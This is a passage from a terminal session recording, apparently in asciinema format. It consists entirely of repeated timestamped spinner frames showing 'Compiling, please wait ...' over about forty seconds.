"\r\u001b[2K ⠧ Compiling, please wait ..."] +[54.016484, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[54.116879, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[54.217176, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[54.317617, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[54.418009, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[54.518418, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[54.618773, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[54.719184, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[54.819582, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[54.920023, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[55.020375, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[55.120785, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[55.221135, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[55.321574, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[55.421999, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[55.52238, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[55.622783, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[55.723193, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[55.823583, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[55.923971, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[56.024373, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[56.124755, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[56.225162, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[56.325365, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[56.425772, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[56.525886, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[56.626309, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[56.726669, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[56.827049, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[56.927429, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[57.027905, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[57.128276, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[57.228688, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[57.329093, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[57.429516, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[57.529944, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[57.63033, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[57.730737, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[57.831133, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[57.931619, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[58.032057, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[58.132469, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[58.232894, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[58.333275, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[58.433705, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[58.534168, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[58.634575, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[58.73499, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[58.835397, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[58.935794, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[59.036204, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[59.136617, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[59.237047, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[59.33746, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[59.437901, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[59.538298, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[59.638727, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[59.739109, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[59.839635, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[59.94026, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[60.040642, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[60.141447, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[60.241387, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[60.341918, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[60.442328, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[60.542746, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[60.643135, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[60.743526, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[60.84396, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[60.944316, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[61.04472, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[61.145098, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[61.245508, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[61.346228, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[61.446459, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[61.547139, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[61.647556, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[61.74798, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[61.848361, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[61.949064, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[62.049482, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[62.150429, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[62.250865, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[62.351309, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[62.45173, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[62.552125, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[62.652518, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[62.752816, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[62.853137, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[62.953469, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[63.053885, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[63.154313, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[63.254721, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[63.355117, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[63.45552, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[63.555964, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[63.656345, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[63.756771, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[63.857192, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[63.957616, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[64.058059, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[64.158465, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[64.258865, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[64.359278, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[64.45967, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[64.560073, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[64.660496, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[64.760907, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[64.861226, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[64.961635, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[65.062101, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[65.162473, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[65.262813, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[65.363215, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[65.463584, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[65.563929, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[65.664267, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[65.764654, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[65.865038, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[65.965715, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[66.06613, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[66.16656, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[66.266957, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[66.367352, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[66.467776, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[66.56818, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[66.668547, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[66.768962, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[66.869373, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[66.969801, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[67.070183, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[67.170579, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[67.270976, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[67.371375, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[67.471786, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[67.572066, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[67.672406, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[67.772782, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[67.873183, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[67.973581, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[68.074007, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[68.17439, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[68.274791, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[68.375213, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[68.475663, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[68.576092, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[68.67649, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[68.77689, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[68.877298, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[68.977677, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[69.078048, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[69.178464, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[69.278878, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[69.37929, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[69.479712, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[69.580398, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[69.680635, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[69.781205, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[69.881588, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[69.981997, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[70.082411, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[70.182791, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[70.283226, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[70.383633, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[70.484052, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[70.585646, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[70.6861, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[70.786501, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[70.886885, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[70.988026, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[71.088754, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[71.189307, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[71.289785, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[71.390319, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[71.490765, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[71.591187, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[71.691638, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[71.792094, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[71.892535, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[71.992966, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[72.093408, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[72.193777, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[72.294164, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[72.394695, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[72.495136, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[72.595574, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[72.69601, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[72.796464, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[72.896877, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[72.997174, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[73.097672, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[73.198063, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[73.298468, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[73.39889, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[73.499343, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[73.599774, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[73.7002, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[73.800607, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[73.901027, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[74.001645, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[74.102027, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[74.202413, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[74.302779, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[74.40323, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[74.503582, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[74.604029, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[74.704466, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[74.804863, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[74.905147, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[75.00553, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[75.106244, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[75.206674, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[75.307059, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[75.407502, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[75.507792, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[75.608195, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[75.708634, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[75.809089, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[75.909504, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[76.009917, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[76.110303, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[76.21069, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[76.31108, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[76.411364, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[76.511775, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[76.612203, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[76.712609, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[76.812969, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[76.913387, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[77.014031, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[77.114428, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[77.21484, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[77.315352, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[77.415754, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[77.516177, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[77.617047, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[77.717476, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[77.817868, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[77.91827, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[78.018659, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[78.119074, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[78.219374, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[78.319747, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[78.420109, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[78.520511, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[78.620928, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[78.721328, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[78.821732, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[78.922079, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[79.022451, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[79.122864, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[79.223257, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[79.323648, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[79.424062, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[79.524561, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[79.624847, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[79.725183, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[79.825596, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[79.925954, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[80.026329, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[80.126713, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[80.227116, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[80.327518, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[80.427925, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[80.528328, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[80.628736, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[80.729183, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[80.829605, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[80.929934, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[81.030613, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[81.131023, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[81.231438, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[81.331889, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[81.432257, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[81.532654, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[81.633064, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[81.733472, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[81.833862, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[81.934255, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[82.034553, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[82.134968, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[82.235346, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[82.335759, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[82.436139, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[82.53654, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[82.636935, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[82.737336, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[82.837748, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[82.938161, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[83.038546, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[83.13896, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[83.239353, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[83.339739, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[83.440079, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[83.54049, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[83.640888, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[83.741261, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[83.841697, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[83.942096, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[84.042504, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[84.14291, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[84.243294, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[84.343901, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[84.444263, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[84.544642, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[84.64505, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[84.745433, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[84.845815, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[84.946247, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[85.046639, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[85.147039, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[85.247435, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[85.347883, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[85.448251, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[85.548654, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[85.649046, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[85.749462, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[85.849853, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[85.950254, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[86.050666, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[86.15108, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[86.251468, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[86.351903, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[86.452325, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[86.55273, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[86.653159, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[86.753583, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[86.853992, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[86.954401, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[87.054817, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[87.15522, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[87.255618, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[87.356042, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[87.456465, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[87.556878, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[87.657163, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[87.757583, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[87.857998, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[87.958412, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[88.058827, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[88.159249, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[88.25968, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[88.360075, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[88.460515, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[88.560923, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[88.661328, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[88.761739, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[88.862144, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[88.962567, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[89.062994, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[89.163422, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[89.263874, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[89.364274, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[89.464691, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[89.565083, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[89.665512, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[89.765902, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[89.866299, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[89.966717, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[90.067109, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[90.167535, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[90.267978, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[90.36839, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[90.468788, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[90.569179, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[90.669594, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[90.769978, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[90.87036, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[90.970752, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[91.071155, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[91.171573, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[91.271982, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[91.372391, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[91.472816, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[91.573206, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[91.67361, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[91.774046, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[91.874466, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[91.974861, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[92.075252, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[92.175644, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[92.276061, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[92.376535, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[92.476932, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[92.577342, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[92.677712, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[92.778109, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[92.878516, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[92.97892, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[93.079343, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[93.179764, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[93.280186, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[93.380592, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[93.480997, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[93.581411, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[93.681811, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[93.782218, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[93.882638, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[93.983044, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[94.083439, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[94.183863, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[94.284275, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[94.384703, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[94.485188, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[94.585644, "o", "\r\u001b[2K 